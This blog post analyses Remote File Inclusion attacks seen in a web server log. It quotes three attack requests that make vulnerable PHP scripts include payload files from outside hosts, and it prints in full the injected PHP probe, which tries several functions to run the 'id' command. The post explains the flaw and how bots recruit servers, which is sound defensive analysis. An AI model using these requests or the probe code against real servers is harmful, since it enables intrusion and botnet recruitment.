If you operate a web server, do you have a look at your log files from time to time? If yes, chances are good that you see strange requests with URLs as GET parameters. I checked my log file and copied a couple of these requests:
GET /?name=PNphpBB2&highlight= %2527.include($_GET[a]),exit.%2527&a= http://party4you.ch/new/id.txt?
GET /classes/dcomp.php?include_path= http://www.gumgangfarm.com/shop/data/id.txt?
GET /wing-calendar/send_reminders.php?includedir= http://laformigueta.com/1?/
Most of these requests either originate from worms who are trying to propagate themselves, or – like the ones above – from bots, who are also trying to find new members for their army. If you want to quickly find them in the log of your web-server, simply grep for libwww, as most of them use “libwww-perl/x.xx” as UserAgent.
What these requests try to exploit is a vulnerability called Remote File Inclusion. It works if two conditions are met:
- Unvalidated user input must be used in an include* or require* PHP function.
- The PHP configuration setting allow_url_fopen must be set to “on”. By default, this is not the case in PHP v5.
If the attacker succeeds in getting the vulnerable PHP script to include the URL defined as HTTP parameter, it is automatically loaded and executed by PHP. Let’s have a look at the source code that is injected. I just visited http://www.doblepenalti.com/web/components/id.txt (I won’t link it – the server is currently a member of a bot network and I have no idea how long this will be the case. Changes are the operators will get a clue sometime and the link won’t work any longer) and copied the content of the file here:
010: <?php
020: echo "Mic22";
030: $cmd="id";
040: $eseguicmd=ex($cmd);
050: echo $eseguicmd;
060: function ex($cfe){
070: $res = '';
080: if (!empty($cfe)){
090: if(function_exists('exec')){
110: @exec($cfe,$res);
120: $res = join("\n",$res);
130: }
140: elseif(function_exists('shell_exec')){
150: $res = @shell_exec($cfe);
160: }
170: elseif(function_exists('system')){
180: @ob_start();
190: @system($cfe);
200: $res = @ob_get_contents();
210: @ob_end_clean();
220: }
230: elseif(function_exists('passthru')){
240: @ob_start();
250: @passthru($cfe);
260: $res = @ob_get_contents();
270: @ob_end_clean();
280: }
290: elseif(@is_resource($f = @popen($cfe,"r"))){
300: $res = "";
310: while(!@feof($f)) { $res .= @fread($f,1024); }
320: @pclose($f);
330: }}
340: return $res;
350: }
360: exit;
I added line numbers in order to make it easier to describe the code. Actually it’s pretty simple. All it does is try to execute the command “id”. To achieve this, it tries different functions that allow the execution of commands. These are exec (line 110), shell_exec (line 150), system (190), passthru (line 250) and finally popen (line 290). It probably does that because some web server administrators block php functions that may be used to execute commands, but very often one or more are forgotten.
The output of the id command is simply printed as output (line 050). The bot that sent out the probe checks if the script returns anything behind “Mic22″ (line 020) and knows if it succeeded. If yes, it will install the bot software on the vulnerable web server.
Actually, this is already an improvement against older bot versions. They used to include the complete bot code. This allowed anybody who checks his log to analyze the code. It also contained the IRC servers and channels from where the bot is controlled. Unfortunately, my web server does not have many hits, so I can’t find the source of such a complete bot. I’ll see if I can find one somewhere and post it here.
Tags: Bot, Bot Network, Bots, File Inclusion, Logs, PHP, Remote File Inclusion, Vulnerability, Web Server, Webserver